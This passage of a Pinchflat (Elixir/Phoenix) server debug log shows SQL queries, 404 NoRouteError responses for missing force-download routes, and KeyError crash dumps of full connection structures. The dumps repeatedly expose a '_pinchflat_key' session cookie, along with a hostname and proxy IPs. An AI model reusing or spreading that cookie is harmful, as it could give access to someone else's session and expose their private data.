"youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/media/13812/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/media/13812/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42218}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3Ny (truncated) 21:43:13.031 [info] GET /sources/10/media/13812 21:43:13.032 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "13812", "prevent_download" => "true", "source_id" => "10"} Pipelines: [:browser] 21:43:13.033 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=100.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13812] 21:43:13.035 [debug] QUERY OK source="sources" db=1.0ms idle=100.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:13.036 [debug] QUERY OK source="tasks" db=2.3ms queue=0.1ms idle=101.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [13812] 21:43:13.038 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=93.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2311] 21:43:13.040 [debug] QUERY OK source="settings" db=0.7ms queue=0.3ms idle=93.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.041 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.043 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.046 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=8.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:13.049 [info] Sent 200 in 17ms 21:43:13.121 [info] GET /sources/7/media/13747/force_download 21:43:13.122 [info] GET /sources/b443d462-a6d8-4aa9-9bae-7be3f0f7e503/feed.xml 21:43:13.122 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "b443d462-a6d8-4aa9-9bae-7be3f0f7e503"} Pipelines: [:maybe_basic_auth] 21:43:13.122 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=83.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.123 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=82.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.123 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:43:13.126 [debug] QUERY OK source="sources" db=0.5ms queue=0.4ms idle=83.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["b443d462-a6d8-4aa9-9bae-7be3f0f7e503"] 21:43:13.124 [error] #PID<0.36768.0> running PinchflatWeb.Endpoint (connection #PID<0.36686.0>, stream id 21) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/7/media/13747/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/7/media/13747/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/7/media/13747/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42218}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 21, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36768.0>, params: %{}, path_info: ["sources", "7", "media", "13747", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/7/media/13747/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHM4NiVW17XOJ0AAWnB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/7/media/13747/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42218}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 21, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/7/media/13747/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/7/media/13747/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42218}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 21, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tl (truncated) 21:43:13.130 [info] GET /sources/new 21:43:13.130 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "10"} Pipelines: [:browser] 21:43:13.132 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=85.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:13.133 [debug] QUERY OK source="media_items" db=5.7ms queue=0.4ms idle=83.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [10, 2000] 21:43:13.134 [debug] QUERY OK source="media_profiles" db=0.6ms idle=10.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 21:43:13.134 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=10.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.135 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=9.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.136 [debug] QUERY OK source="settings" db=0.2ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.137 [debug] QUERY OK source="settings" db=0.2ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.138 [debug] QUERY OK source="settings" db=0.3ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.140 [info] Sent 200 in 10ms 21:43:13.143 [info] GET /sources/10/force_download_pending 21:43:13.144 [debug] QUERY OK source="settings" db=0.2ms idle=8.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.144 [debug] QUERY OK source="settings" db=0.1ms idle=8.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.144 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:43:13.145 [error] #PID<0.36771.0> running PinchflatWeb.Endpoint (connection #PID<0.36686.0>, stream id 23) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_download_pending", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42218}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 23, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36771.0>, params: %{}, path_info: ["sources", "10", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHM4Nnm-jgKOy0AAWoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_download_pending", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42218}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 23, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_download_pending", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42218}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 23, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaU (truncated) 21:43:13.159 [debug] QUERY OK source="source_metadata" db=0.6ms queue=0.4ms idle=21.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [10] 21:43:13.161 [info] Sent 200 in 39ms 21:43:13.176 [info] GET /sources/10/force_index 21:43:13.177 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=39.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:13.178 [debug] QUERY OK source="settings" db=0.6ms idle=39.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", 